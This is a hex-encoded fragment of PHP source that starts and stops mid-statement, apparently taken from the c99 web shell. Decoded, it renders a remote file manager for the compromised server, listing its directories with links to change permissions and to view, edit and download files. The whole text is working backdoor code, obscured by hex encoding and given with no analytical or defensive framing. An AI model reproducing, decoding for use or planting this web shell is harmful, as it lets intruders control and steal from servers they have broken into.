2E 28 24 67 72 5B 22 6E 61 6D 65 22 5D 3F 24 67 72 5B 22 6E 61 6D 65 22 5D 3A 66 69 6C 65 67 72 6F 75 70 28 24 76 29 29 3B 0A 20 20 20 20 7D 0A 20 20 20 20 24 72 6F 77 5B 5D 20 3D 20 66 69 6C 65 70 65 72 6D 73 28 24 76 29 3B 0A 20 20 20 20 69 66 20 28 28 24 6F 20 3D 3D 20 22 2E 22 29 20 6F 72 20 28 24 6F 20 3D 3D 20 22 2E 2E 22 29 29 20 7B 24 6F 62 6A 65 63 74 73 5B 22 68 65 61 64 22 5D 5B 5D 20 3D 20 24 72 6F 77 3B 7D 0A 20 20 20 20 65 6C 73 65 69 66 20 28 69 73 5F 6C 69 6E 6B 28 24 76 29 29 20 7B 24 6F 62 6A 65 63 74 73 5B 22 6C 69 6E 6B 73 22 5D 5B 5D 20 3D 20 24 72 6F 77 3B 7D 0A 20 20 20 20 65 6C 73 65 69 66 20 28 69 73 5F 64 69 72 28 24 76 29 29 20 7B 24 6F 62 6A 65 63 74 73 5B 22 66 6F 6C 64 65 72 73 22 5D 5B 5D 20 3D 20 24 72 6F 77 3B 7D 0A 20 20 20 20 65 6C 73 65 69 66 20 28 69 73 5F 66 69 6C 65 28 24 76 29 29 20 7B 24 6F 62 6A 65 63 74 73 5B 22 66 69 6C 65 73 22 5D 5B 5D 20 3D 20 24 72 6F 77 3B 7D 0A 20 20 20 20 24 69 2B 2B 3B 0A 20 20 20 7D 0A 20 20 20 24 72 6F 77 20 3D 20 61 72 72 61 79 28 29 3B 0A 20 20 20 24 72 6F 77 5B 5D 20 3D 20 22 3C 62 3E 4E 61 6D 65 3C 2F 62 3E 22 3B 0A 20 20 20 24 72 6F 77 5B 5D 20 3D 20 22 3C 62 3E 53 69 7A 65 3C 2F 62 3E 22 3B 0A 20 20 20 24 72 6F 77 5B 5D 20 3D 20 22 3C 62 3E 4D 6F 64 69 66 79 3C 2F 62 3E 22 3B 0A 20 20 20 69 66 20 28 21 24 77 69 6E 29 0A 20 20 7B 24 72 6F 77 5B 5D 20 3D 20 22 3C 62 3E 4F 77 6E 65 72 2F 47 72 6F 75 70 3C 2F 62 3E 22 3B 7D 0A 20 20 20 24 72 6F 77 5B 5D 20 3D 20 22 3C 62 3E 50 65 72 6D 73 3C 2F 62 3E 22 3B 0A 20 20 20 24 72 6F 77 5B 5D 20 3D 20 22 3C 62 3E 41 63 74 69 6F 6E 3C 2F 62 3E 22 3B 0A 20 20 20 24 70 61 72 73 65 73 6F 72 74 20 3D 20 70 61 72 73 65 73 6F 72 74 28 24 73 6F 72 74 29 3B 0A 20 20 20 24 73 6F 72 74 20 3D 20 24 70 61 72 73 65 73 6F 72 74 5B 30 5D 2E 24 70 61 72 73 65 73 6F 72 74 5B 31 5D 3B 0A 20 20 20 24 6B 20 3D 20 24 70 61 72 73 65 73 6F 72 74 5B 30 5D 3B 0A 20 20 20 69 66 20 28 24 70 61 72 73 65 73 6F 72 74 5B 31 5D 20 21 3D 20 22 61 22 29 20 7B 24 70 61 72 73 65 73 6F 72 74 5B 31 5D 20 3D 20 22 64 22 3B 7D 0A 20 20 20 24 79 20 3D 20 22 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 22 2E 24 64 73 70 61 63 74 2E 22 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 2E 22 26 73 6F 72 74 3D 22 2E 24 6B 2E 28 24 70 61 72 73 65 73 6F 72 74 5B 31 5D 20 3D 3D 20 22 61 22 3F 22 64 22 3A 22 61 22 29 2E 22 5C 22 3E 22 3B 0A 20 20 20 24 79 20 2E 3D 20 22 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 73 6F 72 74 5F 22 2E 28 24 73 6F 72 74 5B 31 5D 20 3D 3D 20 22 61 22 3F 22 61 73 63 22 3A 22 64 65 73 63 22 29 2E 22 5C 22 20 68 65 69 67 68 74 3D 5C 22 39 5C 22 20 77 69 64 74 68 3D 5C 22 31 34 5C 22 20 61 6C 74 3D 5C 22 22 2E 28 24 70 61 72 73 65 73 6F 72 74 5B 31 5D 20 3D 3D 20 22 61 22 3F 22 41 73 63 2E 22 3A 22 44 65 73 63 22 29 2E 22 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 3C 2F 61 3E 22 3B 0A 20 20 20 24 72 6F 77 5B 24 6B 5D 20 2E 3D 20 24 79 3B 0A 20 20 20 66 6F 72 28 24 69 3D 30 3B 24 69 3C 63 6F 75 6E 74 28 24 72 6F 77 29 2D 31 3B 24 69 2B 2B 29 0A 20 20 20 7B 0A 20 20 20 20 69 66 20 28 24 69 20 21 3D 20 24 6B 29 20 7B 24 72 6F 77 5B 24 69 5D 20 3D 20 22 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 22 2E 24 64 73 70 61 63 74 2E 22 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 2E 22 26 73 6F 72 74 3D 22 2E 24 69 2E 24 70 61 72 73 65 73 6F 72 74 5B 31 5D 2E 22 5C 22 3E 22 2E 24 72 6F 77 5B 24 69 5D 2E 22 3C 2F 61 3E 22 3B 7D 0A 20 20 20 7D 0A 20 20 20 24 76 20 3D 20 24 70 61 72 73 65 73 6F 72 74 5B 30 5D 3B 0A 20 20 20 75 73 6F 72 74 28 24 6F 62 6A 65 63 74 73 5B 22 66 6F 6C 64 65 72 73 22 5D 2C 20 22 74 61 62 73 6F 72 74 22 29 3B 0A 20 20 20 75 73 6F 72 74 28 24 6F 62 6A 65 63 74 73 5B 22 6C 69 6E 6B 73 22 5D 2C 20 22 74 61 62 73 6F 72 74 22 29 3B 0A 20 20 20 75 73 6F 72 74 28 24 6F 62 6A 65 63 74 73 5B 22 66 69 6C 65 73 22 5D 2C 20 22 74 61 62 73 6F 72 74 22 29 3B 0A 20 20 20 69 66 20 28 24 70 61 72 73 65 73 6F 72 74 5B 31 5D 20 3D 3D 20 22 64 22 29 0A 20 20 20 7B 0A 20 20 20 20 24 6F 62 6A 65 63 74 73 5B 22 66 6F 6C 64 65 72 73 22 5D 20 3D 20 61 72 72 61 79 5F 72 65 76 65 72 73 65 28 24 6F 62 6A 65 63 74 73 5B 22 66 6F 6C 64 65 72 73 22 5D 29 3B 0A 20 20 20 20 24 6F 62 6A 65 63 74 73 5B 22 66 69 6C 65 73 22 5D 20 3D 20 61 72 72 61 79 5F 72 65 76 65 72 73 65 28 24 6F 62 6A 65 63 74 73 5B 22 66 69 6C 65 73 22 5D 29 3B 0A 20 20 20 7D 0A 20 20 20 24 6F 62 6A 65 63 74 73 20 3D 20 61 72 72 61 79 5F 6D 65 72 67 65 28 24 6F 62 6A 65 63 74 73 5B 22 68 65 61 64 22 5D 2C 24 6F 62 6A 65 63 74 73 5B 22 66 6F 6C 64 65 72 73 22 5D 2C 24 6F 62 6A 65 63 74 73 5B 22 6C 69 6E 6B 73 22 5D 2C 24 6F 62 6A 65 63 74 73 5B 22 66 69 6C 65 73 22 5D 29 3B 0A 20 20 20 24 74 61 62 20 3D 20 61 72 72 61 79 28 29 3B 0A 20 20 20 24 74 61 62 5B 22 63 6F 6C 73 22 5D 20 3D 20 61 72 72 61 79 28 24 72 6F 77 29 3B 0A 20 20 20 24 74 61 62 5B 22 68 65 61 64 22 5D 20 3D 20 61 72 72 61 79 28 29 3B 0A 20 20 20 24 74 61 62 5B 22 66 6F 6C 64 65 72 73 22 5D 20 3D 20 61 72 72 61 79 28 29 3B 0A 20 20 20 24 74 61 62 5B 22 6C 69 6E 6B 73 22 5D 20 3D 20 61 72 72 61 79 28 29 3B 0A 20 20 20 24 74 61 62 5B 22 66 69 6C 65 73 22 5D 20 3D 20 61 72 72 61 79 28 29 3B 0A 20 20 20 24 69 20 3D 20 30 3B 0A 20 20 20 66 6F 72 65 61 63 68 20 28 24 6F 62 6A 65 63 74 73 20 61 73 20 24 61 29 0A 20 20 20 7B 0A 20 20 20 20 24 76 20 3D 20 24 61 5B 30 5D 3B 0A 20 20 20 20 24 6F 20 3D 20 62 61 73 65 6E 61 6D 65 28 24 76 29 3B 0A 20 20 20 20 24 64 69 72 20 3D 20 64 69 72 6E 61 6D 65 28 24 76 29 3B 0A 20 20 20 20 69 66 20 28 24 64 69 73 70 5F 66 75 6C 6C 70 61 74 68 29 20 7B 24 64 69 73 70 70 61 74 68 20 3D 20 24 76 3B 7D 0A 20 20 20 20 65 6C 73 65 20 7B 24 64 69 73 70 70 61 74 68 20 3D 20 24 6F 3B 7D 0A 20 20 20 20 24 64 69 73 70 70 61 74 68 20 3D 20 73 74 72 32 6D 69 6E 69 28 24 64 69 73 70 70 61 74 68 2C 36 30 29 3B 0A 20 20 20 20 69 66 20 28 69 6E 5F 61 72 72 61 79 28 24 76 2C 24 73 65 73 73 5F 64 61 74 61 5B 22 63 75 74 22 5D 29 29 20 7B 24 64 69 73 70 70 61 74 68 20 3D 20 22 3C 73 74 72 69 6B 65 3E 22 2E 24 64 69 73 70 70 61 74 68 2E 22 3C 2F 73 74 72 69 6B 65 3E 22 3B 7D 0A 20 20 20 20 65 6C 73 65 69 66 20 28 69 6E 5F 61 72 72 61 79 28 24 76 2C 24 73 65 73 73 5F 64 61 74 61 5B 22 63 6F 70 79 22 5D 29 29 20 7B 24 64 69 73 70 70 61 74 68 20 3D 20 22 3C 75 3E 22 2E 24 64 69 73 70 70 61 74 68 2E 22 3C 2F 75 3E 22 3B 7D 0A 20 20 20 20 66 6F 72 65 61 63 68 20 28 24 72 65 67 78 70 5F 68 69 67 68 6C 69 67 68 74 20 61 73 20 24 72 29 0A 20 20 20 20 7B 0A 20 20 20 20 20 69 66 20 28 65 72 65 67 28 24 72 5B 30 5D 2C 24 6F 29 29 0A 20 20 20 20 20 7B 0A 20 20 20 20 20 20 69 66 20 28 28 21 69 73 5F 6E 75 6D 65 72 69 63 28 24 72 5B 31 5D 29 29 20 6F 72 20 28 24 72 5B 31 5D 20 3E 20 33 29 29 20 7B 24 72 5B 31 5D 20 3D 20 30 3B 20 6F 62 5F 63 6C 65 61 6E 28 29 3B 20 65 63 68 6F 20 22 57 61 72 6E 69 6E 67 21 20 43 6F 6E 66 69 67 75 72 61 74 69 6F 6E 20 65 72 72 6F 72 20 69 6E 20 5C 24 72 65 67 78 70 5F 68 69 67 68 6C 69 67 68 74 5B 22 2E 24 6B 2E 22 5D 5B 30 5D 20 2D 20 75 6E 6B 6E 6F 77 6E 20 63 6F 6D 6D 61 6E 64 2E 22 3B 20 63 39 39 73 68 65 78 69 74 28 29 3B 7D 0A 20 20 20 20 20 20 65 6C 73 65 0A 20 20 20 20 20 20 7B 0A 20 20 20 20 20 20 20 24 72 5B 31 5D 20 3D 20 72 6F 75 6E 64 28 24 72 5B 31 5D 29 3B 0A 20 20 20 20 20 20 20 24 69 73 64 69 72 20 3D 20 69 73 5F 64 69 72 28 24 76 29 3B 0A 20 20 20 20 20 20 20 69 66 20 28 28 24 72 5B 31 5D 20 3D 3D 20 30 29 20 6F 72 20 28 28 24 72 5B 31 5D 20 3D 3D 20 31 29 20 61 6E 64 20 21 24 69 73 64 69 72 29 20 6F 72 20 28 28 24 72 5B 31 5D 20 3D 3D 20 32 29 20 61 6E 64 20 21 24 69 73 64 69 72 29 29 0A 20 20 20 20 20 20 20 7B 0A 20 20 20 20 20 20 20 20 69 66 20 28 65 6D 70 74 79 28 24 72 5B 32 5D 29 29 20 7B 24 72 5B 32 5D 20 3D 20 22 3C 62 3E 22 3B 20 24 72 5B 33 5D 20 3D 20 22 3C 2F 62 3E 22 3B 7D 0A 20 20 20 20 20 20 20 20 24 64 69 73 70 70 61 74 68 20 3D 20 24 72 5B 32 5D 2E 24 64 69 73 70 70 61 74 68 2E 24 72 5B 33 5D 3B 0A 20 20 20 20 20 20 20 20 69 66 20 28 24 72 5B 34 5D 29 20 7B 62 72 65 61 6B 3B 7D 0A 20 20 20 20 20 20 20 7D 0A 20 20 20 20 20 20 7D 0A 20 20 20 20 20 7D 0A 20 20 20 20 7D 0A 20 20 20 20 24 75 6F 20 3D 20 75 72 6C 65 6E 63 6F 64 65 28 24 6F 29 3B 0A 20 20 20 20 24 75 64 20 3D 20 75 72 6C 65 6E 63 6F 64 65 28 24 64 69 72 29 3B 0A 20 20 20 20 24 75 76 20 3D 20 75 72 6C 65 6E 63 6F 64 65 28 24 76 29 3B 0A 20 20 20 20 24 72 6F 77 20 3D 20 61 72 72 61 79 28 29 3B 0A 20 20 20 20 69 66 20 28 24 6F 20 3D 3D 20 22 2E 22 29 0A 20 20 20 20 7B 0A 20 20 20 20 20 24 72 6F 77 5B 5D 20 3D 20 22 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 73 6D 61 6C 6C 5F 64 69 72 5C 22 20 68 65 69 67 68 74 3D 5C 22 31 36 5C 22 20 77 69 64 74 68 3D 5C 22 31 39 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 26 6E 62 73 70 3B 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 22 2E 24 64 73 70 61 63 74 2E 22 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 72 65 61 6C 70 61 74 68 28 24 64 2E 24 6F 29 29 2E 22 26 73 6F 72 74 3D 22 2E 24 73 6F 72 74 2E 22 5C 22 3E 22 2E 24 6F 2E 22 3C 2F 61 3E 22 3B 0A 20 20 20 20 20 24 72 6F 77 5B 5D 20 3D 20 22 4C 49 4E 4B 22 3B 0A 20 20 20 20 7D 0A 20 20 20 20 65 6C 73 65 69 66 20 28 24 6F 20 3D 3D 20 22 2E 2E 22 29 0A 20 20 20 20 7B 0A 20 20 20 20 20 24 72 6F 77 5B 5D 20 3D 20 22 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 65 78 74 5F 6C 6E 6B 5C 22 20 68 65 69 67 68 74 3D 5C 22 31 36 5C 22 20 77 69 64 74 68 3D 5C 22 31 39 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 26 6E 62 73 70 3B 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 22 2E 24 64 73 70 61 63 74 2E 22 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 72 65 61 6C 70 61 74 68 28 24 64 2E 24 6F 29 29 2E 22 26 73 6F 72 74 3D 22 2E 24 73 6F 72 74 2E 22 5C 22 3E 22 2E 24 6F 2E 22 3C 2F 61 3E 22 3B 0A 20 20 20 20 20 24 72 6F 77 5B 5D 20 3D 20 22 4C 49 4E 4B 22 3B 0A 20 20 20 20 7D 0A 20 20 20 20 65 6C 73 65 69 66 20 28 69 73 5F 64 69 72 28 24 76 29 29 0A 20 20 20 20 7B 0A 20 20 20 20 20 69 66 20 28 69 73 5F 6C 69 6E 6B 28 24 76 29 29 0A 20 20 20 20 20 7B 0A 20 20 20 20 20 20 24 64 69 73 70 70 61 74 68 20 2E 3D 20 22 20 3D 3E 20 22 2E 72 65 61 64 6C 69 6E 6B 28 24 76 29 3B 0A 20 20 20 20 20 20 24 74 79 70 65 20 3D 20 22 4C 49 4E 4B 22 3B 0A 20 20 20 20 20 20 24 72 6F 77 5B 5D 20 3D 20 20 22 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 65 78 74 5F 6C 6E 6B 5C 22 20 68 65 69 67 68 74 3D 5C 22 31 36 5C 22 20 77 69 64 74 68 3D 5C 22 31 36 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 26 6E 62 73 70 3B 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 6C 73 26 64 3D 22 2E 24 75 76 2E 22 26 73 6F 72 74 3D 22 2E 24 73 6F 72 74 2E 22 5C 22 3E 5B 22 2E 24 64 69 73 70 70 61 74 68 2E 22 5D 3C 2F 61 3E 22 3B 0A 20 20 20 20 20 7D 0A 20 20 20 20 20 65 6C 73 65 0A 20 20 20 20 20 7B 0A 20 20 20 20 20 20 24 74 79 70 65 20 3D 20 22 44 49 52 22 3B 0A 20 20 20 20 20 20 24 72 6F 77 5B 5D 20 3D 20 20 22 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 73 6D 61 6C 6C 5F 64 69 72 5C 22 20 68 65 69 67 68 74 3D 5C 22 31 36 5C 22 20 77 69 64 74 68 3D 5C 22 31 39 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 26 6E 62 73 70 3B 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 6C 73 26 64 3D 22 2E 24 75 76 2E 22 26 73 6F 72 74 3D 22 2E 24 73 6F 72 74 2E 22 5C 22 3E 5B 22 2E 24 64 69 73 70 70 61 74 68 2E 22 5D 3C 2F 61 3E 22 3B 0A 20 20 20 20 20 20 7D 0A 20 20 20 20 20 24 72 6F 77 5B 5D 20 3D 20 24 74 79 70 65 3B 0A 20 20 20 20 7D 0A 20 20 20 20 65 6C 73 65 69 66 28 69 73 5F 66 69 6C 65 28 24 76 29 29 0A 20 20 20 20 7B 0A 20 20 20 20 20 24 65 78 74 20 3D 20 65 78 70 6C 6F 64 65 28 22 2E 22 2C 24 6F 29 3B 0A 20 20 20 20 20 24 63 20 3D 20 63 6F 75 6E 74 28 24 65 78 74 29 2D 31 3B 0A 20 20 20 20 20 24 65 78 74 20 3D 20 24 65 78 74 5B 24 63 5D 3B 0A 20 20 20 20 20 24 65 78 74 20 3D 20 73 74 72 74 6F 6C 6F 77 65 72 28 24 65 78 74 29 3B 0A 20 20 20 20 20 24 72 6F 77 5B 5D 20 3D 20 20 22 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 65 78 74 5F 22 2E 24 65 78 74 2E 22 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 26 6E 62 73 70 3B 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 66 26 66 3D 22 2E 24 75 6F 2E 22 26 64 3D 22 2E 24 75 64 2E 22 26 5C 22 3E 22 2E 24 64 69 73 70 70 61 74 68 2E 22 3C 2F 61 3E 22 3B 0A 20 20 20 20 20 24 72 6F 77 5B 5D 20 3D 20 76 69 65 77 5F 73 69 7A 65 28 24 61 5B 31 5D 29 3B 0A 20 20 20 20 7D 0A 20 20 20 20 24 72 6F 77 5B 5D 20 3D 20 64 61 74 65 28 22 64 2E 6D 2E 59 20 48 3A 69 3A 73 22 2C 24 61 5B 32 5D 29 3B 0A 20 20 20 20 69 66 20 28 21 24 77 69 6E 29 20 7B 24 72 6F 77 5B 5D 20 3D 20 24 61 5B 33 5D 3B 7D 0A 20 20 20 20 24 72 6F 77 5B 5D 20 3D 20 22 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 63 68 6D 6F 64 26 66 3D 22 2E 24 75 6F 2E 22 26 64 3D 22 2E 24 75 64 2E 22 5C 22 3E 3C 62 3E 22 2E 76 69 65 77 5F 70 65 72 6D 73 5F 63 6F 6C 6F 72 28 24 76 29 2E 22 3C 2F 62 3E 3C 2F 61 3E 22 3B 0A 20 20 20 20 69 66 20 28 24 6F 20 3D 3D 20 22 2E 22 29 20 7B 24 63 68 65 63 6B 62 6F 78 20 3D 20 22 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 63 68 65 63 6B 62 6F 78 5C 22 20 6E 61 6D 65 3D 5C 22 61 63 74 62 6F 78 5B 5D 5C 22 20 6F 6E 63 6C 69 63 6B 3D 5C 22 6C 73 5F 72 65 76 65 72 73 65 5F 61 6C 6C 28 29 3B 5C 22 3E 22 3B 20 24 69 2D 2D 3B 7D 0A 20 20 20 20 65 6C 73 65 20 7B 24 63 68 65 63 6B 62 6F 78 20 3D 20 22 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 63 68 65 63 6B 62 6F 78 5C 22 20 6E 61 6D 65 3D 5C 22 61 63 74 62 6F 78 5B 5D 5C 22 20 69 64 3D 5C 22 61 63 74 62 6F 78 22 2E 24 69 2E 22 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 76 29 2E 22 5C 22 3E 22 3B 7D 0A 20 20 20 20 69 66 20 28 69 73 5F 64 69 72 28 24 76 29 29 20 7B 24 72 6F 77 5B 5D 20 3D 20 22 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 64 26 64 3D 22 2E 24 75 76 2E 22 5C 22 3E 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 65 78 74 5F 64 69 7A 5C 22 20 61 6C 74 3D 5C 22 49 6E 66 6F 5C 22 20 68 65 69 67 68 74 3D 5C 22 31 36 5C 22 20 77 69 64 74 68 3D 5C 22 31 36 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 3C 2F 61 3E 26 6E 62 73 70 3B 22 2E 24 63 68 65 63 6B 62 6F 78 3B 7D 0A 20 20 20 20 65 6C 73 65 20 7B 24 72 6F 77 5B 5D 20 3D 20 22 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 66 26 66 3D 22 2E 24 75 6F 2E 22 26 66 74 3D 69 6E 66 6F 26 64 3D 22 2E 24 75 64 2E 22 5C 22 3E 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 65 78 74 5F 64 69 7A 5C 22 20 61 6C 74 3D 5C 22 49 6E 66 6F 5C 22 20 68 65 69 67 68 74 3D 5C 22 31 36 5C 22 20 77 69 64 74 68 3D 5C 22 31 36 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 3C 2F 61 3E 26 6E 62 73 70 3B 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 66 26 66 3D 22 2E 24 75 6F 2E 22 26 66 74 3D 65 64 69 74 26 64 3D 22 2E 24 75 64 2E 22 5C 22 3E 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 63 68 61 6E 67 65 5C 22 20 61 6C 74 3D 5C 22 43 68 61 6E 67 65 5C 22 20 68 65 69 67 68 74 3D 5C 22 31 36 5C 22 20 77 69 64 74 68 3D 5C 22 31 39 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 3C 2F 61 3E 26 6E 62 73 70 3B 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 66 26 66 3D 22 2E 24 75 6F 2E 22 26 66 74 3D 64 6F 77 6E 6C 6F 61 64 26 64 3D 22 2E 24 75 64 2E 22 5C 22 3E 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 64 6F 77 6E 6C 6F 61 64 5C 22 20 61 6C 74 3D 5C 22 44 6F 77 6E 6C 6F 61 64 5C 22 20 68 65 69 67 68 74 3D 5C 22 31 36 5C 22 20 77 69 64 74 68 3D 5C 22 31 39 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 3C 2F 61 3E 26 6E 62 73 70 3B 22 2E 24 63 68 65 63 6B 62 6F 78 3B 7D 0A 20 20 20 20 69 66 20 28 28 24 6F 20 3D 3D 20 22 2E 22 29 20 6F 72 20 28 24 6F 20 3D 3D 20 22 2E 2E 22 29 29 20 7B 24 74 61 62 5B 22 68 65 61 64 22 5D 5B 5D 20 3D 20 24 72 6F 77 3B 7D 0A 20 20 20 20 65 6C 73 65 69 66 20 28 69 73 5F 6C 69 6E 6B 28 24 76 29 29 20 7B 24 74 61 62 5B 22 6C 69 6E 6B 73 22 5D 5B 5D 20 3D 20 24 72 6F 77 3B 7D 0A 20 20 20 20 65 6C 73 65 69 66 20 28 69 73 5F 64 69 72 28 24 76 29 29 20 7B 24 74 61 62 5B 22 66 6F 6C 64 65 72 73 22 5D 5B 5D 20 3D 20 24 72 6F 77 3B 7D 0A 20 20 20 20 65 6C 73 65 69 66 20 28 69 73 5F 66 69 6C 65 28 24 76 29 29 20 7B 24 74 61 62 5B 22 66 69 6C 65 73 22 5D 5B 5D 20 3D 20 24 72 6F 77 3B 7D 0A 20 20 20 20 24 69 2B 2B 3B 0A 20 20 20 7D 0A 20 20 7D 0A 20 20 2F 2F 43 6F 6D 70 69 6C 69 6E 67 20 74 61 62 6C 65 0A 20 20 24 74 61 62 6C 65 20 3D 20 61 72 72 61 79 5F 6D 65 72 67 65 28 24 74 61 62 5B 22 63 6F 6C 73 22 5D 2C 24 74 61 62 5B 22 68 65 61 64 22 5D 2C 24 74 61 62 5B 22 66 6F 6C 64 65 72 73 22 5D 2C 24 74 61 62 5B 22 6C 69 6E 6B 73 22 5D 2C 24 74 61 62 5B 22 66 69 6C 65 73 22 5D 29 3B 0A 20 20 65 63 68 6F 20 22 3C 63 65 6E 74 65 72 3E 3C 62 3E 4C 69 73 74 69 6E 67 20 66 6F 6C 64 65 72 20 28 22 2E 63 6F 75 6E 74 28 24 74 61 62 5B 22 66 69 6C 65 73 22 5D 29 2E 22 20 66 69 6C 65 73 20 61 6E 64 20 22 2E 28 63 6F 75 6E 74 28 24 74 61 62 5B 22 66 6F 6C 64 65 72 73 22 5D 29 2B 63 6F 75 6E 74 28 24 74 61 62 5B 22 6C 69 6E 6B 73 22 5D 29 29 2E 22 20 66 6F 6C 64 65 72 73 29 3A 3C 2F 62 3E 3C 2F 63 65 6E 74 65 72 3E 3C 62 72 3E 3C 54 41 42 4C 45 20 63 65 6C 6C 53 70 61 63 69 6E 67 3D 30 20 63 65 6C 6C 50 61 64 64 69 6E 67 3D 30 20 77 69 64 74 68 3D 31 30 30 25 20 62 67 43 6F 6C 6F 72 3D 23 33 33 33 33 33 33 20 62 6F 72 64 65 72 43 6F 6C 6F 72 4C 69 67 68 74 3D 23 34 33 33 33 33 33 20 62 6F 72 64 65 72 3D 30 3E 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 5C 22 20 6D 65 74 68 6F 64 3D 50 4F 53 54 20 6E 61 6D 65 3D 5C 22 6C 73 5F 66 6F 72 6D 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 61 63 74 20 76 61 6C 75 65 3D 22 2E 24 64 73 70 61 63 74 2E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 64 20 76 61 6C 75 65 3D 22 2E 24 64 2E 22 3E 22 3B 0A 20 20 66 6F 72 65 61 63 68 28 24 74 61 62 6C 65 20 61 73 20 24 72 6F 77 29 0A 20 20 7B 0A 20 20 20 65 63 68 6F 20 22 3C 74 72 3E 5C 72 5C 6E 22 3B 0A 20 20 20 66 6F 72 65 61 63 68 28 24 72 6F 77 20 61 73 20 24 76 29 20 7B 65 63 68 6F 20 22 3C 74 64 3E 22 2E 24 76 2E 22 3C 2F 74 64 3E 5C 72 5C 6E 22 3B 7D 0A 20 20 20 65 63 68 6F 20 22 3C 2F 74 72 3E 5C 72 5C 6E 22 3B 0A 20 20 7D 0A 20 20 65 63 68 6F 20 22 3C 2F 74 61 62 6C 65 3E 3C 68 72 20 73 69 7A 65 3D 5C 22 31 5C 22 20 6E 6F 73 68 61 64 65 3E 3C 70 20 61 6C 69 67 6E 3D 5C 22 72 69 67 68 74 5C 22 3E 0A 20 20 3C 73 63 72 69 70 74 3E 0A 20 20 66 75 6E 63 74 69 6F 6E 20 6C 73 5F 73 65 74 63 68 65 63 6B 62 6F 78 61 6C 6C 28 73 74 61 74 75 73 29 0A 20 20 7B 0A 20 20 20 76 61 72 20 69 64 20 3D 20 30 3B 0A 20 20 20 76 61 72 20 6E 75 6D 20 3D 20 22 2E 28 63 6F 75 6E 74 28 24 74 61 62 6C 65 29 2D 32 29 2E 22 3B 0A 20 20 20 77 68 69 6C 65 20 28 69 64 20 3C 3D 20 6E 75 6D 29 0A 20 20 20 7B 0A 20 20 20 20 64 6F 63 75 6D 65 6E 74 2E 67 65 74 45 6C 65 6D 65 6E 74 42 79 49 64 28 27 61 63 74 62 6F 78 27 2B 69 64 29 2E 63 68 65 63 6B 65 64 20 3D 20 73 74 61 74 75 73 3B 0A 20 20 20 20 69 64 2B 2B 3B 0A 20 20 20 7D 0A 20 20 7D 0A 20 20 66 75 6E 63 74 69 6F 6E 20 6C 73 5F 72 65 76 65 72 73 65 5F 61 6C 6C 28 29 0A 20 20 7B 0A 20 20 20 76 61 72 20 69 64 20 3D 20 30 3B 0A 20 20 20 76 61 72 20 6E 75 